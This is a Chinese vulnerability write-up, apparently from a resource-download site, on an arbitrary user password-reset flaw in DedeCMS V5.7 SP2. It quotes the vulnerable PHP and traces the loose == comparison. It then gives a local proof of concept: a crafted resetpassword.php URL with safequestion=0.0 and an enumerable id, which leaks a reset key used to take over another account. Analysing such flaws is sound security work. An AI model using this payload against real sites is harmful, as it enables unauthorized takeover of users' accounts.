DeDecms(织梦CMS)新版任意用户密码重置漏洞分析
如遇下载链接蓝奏网盘打不开lanzous替换成lanzoux尝试! 广告
![](/linkpic/xianzhuifeng.jpg)
DeDecms(织梦CMS) V5.7.72 正式版20180109 (新版)
由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格,遭受弱类型比较攻击
导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击
漏洞触发位置
①文件位置:dedecms/member/resetpassword.php(75行)
else if($dopost == “safequestion”)
{
$mid = preg_replace(“#[^0-9]#”, “”, $id);
$sql = “SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = ‘$mid'”;
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = ”;
if(empty($safeanswer)) $safeanswer = ”;
if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] == $safeanswer)
{
sn($mid, $row[‘userid’], $row[’email’], ‘N’);
exit();
}
else
{
ShowMsg(“对不起,您的安全问题或答案回答错误”,”-1″);
exit();
}
}
就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数
if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] == $safeanswer)
{
sn($mid, $row[‘userid’], $row[’email’], ‘N’);
exit();
}
②文件位置:dedecms/member/inc/inc_pwd_functions.php(150行)
函数名称:function sn
function sn($mid,$userid,$mailto, $send = ‘Y’)
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = “SELECT * FROM #@__pwd_tmp WHERE mid = ‘$mid'”;
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,’INSERT’,$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime – $tptim > $row[‘mailtime’])
{
newmail($mid,$userid,$mailto,’UPDATE’,$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg(‘对不起,请10分钟后再重新申请’, ‘login.php’);
}
}
在sn函数内部,会根据id到pwd_tmp表中判断是否存在对应的临时密码记录,根据结果确定分支,走向newmail函数
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,’INSERT’,$send);
}
③文件位置:dedecms/member/inc/inc_pwd_functions.php(73行)
函数名称:function newmail
function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.”:密码修改”;
$mailto = $mailto;
$headers = “From: “.$cfg_adminemail.”\r\nReply-To: $cfg_adminemail”;
$mailbody = “亲爱的”.$userid.”:\r\n您好!感谢您使用”.$cfg_webname.”网。\r\n”.$cfg_webname.”应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:”.$randval.” 请于三天内登陆下面网址确认修改。\r\n”.$cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid;
if($type == ‘INSERT’)
{
$key = md5($randval);
$sql = “INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES (‘$mid’, ‘$userid’, ‘$key’, ‘$mailtime’);”;
if($db->ExecuteNoneQuery($sql))
{
if($send == ‘Y’)
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg(‘EMAIL修改验证码已经发送到原来的邮箱请查收’, ‘login.php’,”,’5000′);
} else if ($send == ‘N’)
{
return ShowMsg(‘稍后跳转到修改页’, $cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid.”&key=”.$randval);
}
}
else
{
return ShowMsg(‘对不起修改失败,请联系管理员’, ‘login.php’);
}
}
elseif($type == ‘UPDATE’)
{
$key = md5($randval);
$sql = “UPDATE `#@__pwd_tmp` SET `pwd` = ‘$key’,mailtime = ‘$mailtime’ WHERE `mid` =’$mid’;”;
if($db->ExecuteNoneQuery($sql))
{
if($send == ‘Y’)
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
ShowMsg(‘EMAIL修改验证码已经发送到原来的邮箱请查收’, ‘login.php’);
}
elseif($send == ‘N’)
{
return ShowMsg(‘稍后跳转到修改页’, $cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid.”&key=”.$randval);
}
}
else
{
ShowMsg(‘对不起修改失败,请与管理员联系’, ‘login.php’);
}
}
}
进入newmail函数后,会因为$type的值进入这个分支
if($type == ‘INSERT’)
{
$key = md5($randval);
$sql = “INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES (‘$mid’, ‘$userid’, ‘$key’, ‘$mailtime’);”;
if($db->ExecuteNoneQuery($sql))
{
if($send == ‘Y’)
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg(‘EMAIL修改验证码已经发送到原来的邮箱请查收’, ‘login.php’,”,’5000′);
} else if ($send == ‘N’)
{
return ShowMsg(‘稍后跳转到修改页’, $cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid.”&key=”.$randval);
}
}
else
{
return ShowMsg(‘对不起修改失败,请联系管理员’, ‘login.php’);
}
}
然后因为($send == ‘N’)这个条件为真,通过ShowMsg打印出修改密码的连接,导致漏洞形成
else if ($send == ‘N’)
{
return ShowMsg(‘稍后跳转到修改页’, $cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid.”&key=”.$randval);
}
密码修改连接如下,点击后重新调到resetpassword.php这个页面
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo
文件位置:dedecms/member/resetpassword.php(96行)
else if($dopost == “getpasswd”)
{
//修改密码
if(empty($id))
{
ShowMsg(“对不起,请不要非法提交”,”login.php”);
exit();
}
$mid = preg_replace(“#[^0-9]#”, “”, $id);
$row = $db->GetOne(“SELECT * FROM #@__pwd_tmp WHERE mid = ‘$mid'”);
if(empty($row))
{
ShowMsg(“对不起,请不要非法提交”,”login.php”);
exit();
}
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime – $tptim > $row[‘mailtime’])
{
$db->executenonequery(“DELETE FROM `#@__pwd_tmp` WHERE `md` = ‘$id’;”);
ShowMsg(“对不起,临时密码修改期限已过期”,”login.php”);
exit();
}
require_once(dirname(__FILE__).”/templets/resetpassword2.htm”);
}
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;
$sn = md5(trim($pwdtmp));
if($row[‘pwd’] == $sn)
{
if($pwd != “”)
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = “DELETE FROM `#@__pwd_tmp` WHERE `mid` = ‘$id’;”;
$db->executenonequery($sql);
$sql = “UPDATE `#@__member` SET `pwd` = ‘$pwdok’ WHERE `mid` = ‘$id’;”;
if($db->executenonequery($sql))
{
showmsg(‘更改密码成功,请牢记新密码’, ‘login.php’);
exit;
}
}
}
showmsg(‘对不起,新密码为空或填写不一致’, ‘-1’);
exit;
}
showmsg(‘对不起,临时密码错误’, ‘-1’);
exit;
}
}
在pwd_tmp表中查询判断后,最后会跳入这个分支,判断是否超时,然后进入密码修改页面
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime – $tptim > $row[‘mailtime’])
{
$db->executenonequery(“DELETE FROM `#@__pwd_tmp` WHERE `md` = ‘$id’;”);
ShowMsg(“对不起,临时密码修改期限已过期”,”login.php”);
exit();
}
require_once(dirname(__FILE__).”/templets/resetpassword2.htm”);
}
然后会再次进入这个页面,不过因为setp等于2,会进入这个分支。完成member表的密码修改
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;
$sn = md5(trim($pwdtmp));
if($row[‘pwd’] == $sn)
{
if($pwd != “”)
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = “DELETE FROM `#@__pwd_tmp` WHERE `mid` = ‘$id’;”;
$db->executenonequery($sql);
$sql = “UPDATE `#@__member` SET `pwd` = ‘$pwdok’ WHERE `mid` = ‘$id’;”;
if($db->executenonequery($sql))
{
showmsg(‘更改密码成功,请牢记新密码’, ‘login.php’);
exit;
}
}
}
showmsg(‘对不起,新密码为空或填写不一致’, ‘-1’);
exit;
}
showmsg(‘对不起,临时密码错误’, ‘-1’);
exit;
}
总结:DeDecms(织梦CMS) 密码修改处,因为安全问题验证的safeanswer参数类型比较不够严格,遭受弱类型比较攻击,可绕过判断
同时修改时的id可控,导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击
漏洞攻击与利用
本地验证
分别注册两个账号
账号:test1
密码:test1
账号:test2
密码:test2
目的:我们使用test1账号去重置test2账号的密码
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=9
①test1登录,并发送payload,此处可以id可以遍历,9是test2的id
②我们在代理工具中找到ShowMsg打印出修改密码的连接
③去掉多余字符后,访问修改密码的连接,进入修改页面
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo
④test2密码修改成功,数据库对应hash也进行了更新(变成了123456的hash)
NOTICE:【咨询风格酷】客服微信:wwwxmamnet
NOTICE:【风格酷模板网②群】QQ群:288678775
☉免责声明:本站所有模板均来自用户分享和网络收集,仅供学习与参考,请勿用于商业用途,如果损害了您的权利,请联系网站客服,我们核实后会立即删除。
☉如果源码网盘地址失效!或有其他问题,请点我报错,谢谢合作!
☉人民币与积分汇率为1比10,即1元=10积分.有任何疑问请联系客服!
☉如有其他问题,请加网站客服QQ(1131734965)进行交流。
☉本站提供的源码、模板、软件工具等其他资源,都不包含技术服务,请大家谅解!
☉源码、模板等资源会随着技术、环境的升级而存在部分问题,还请慎重选择。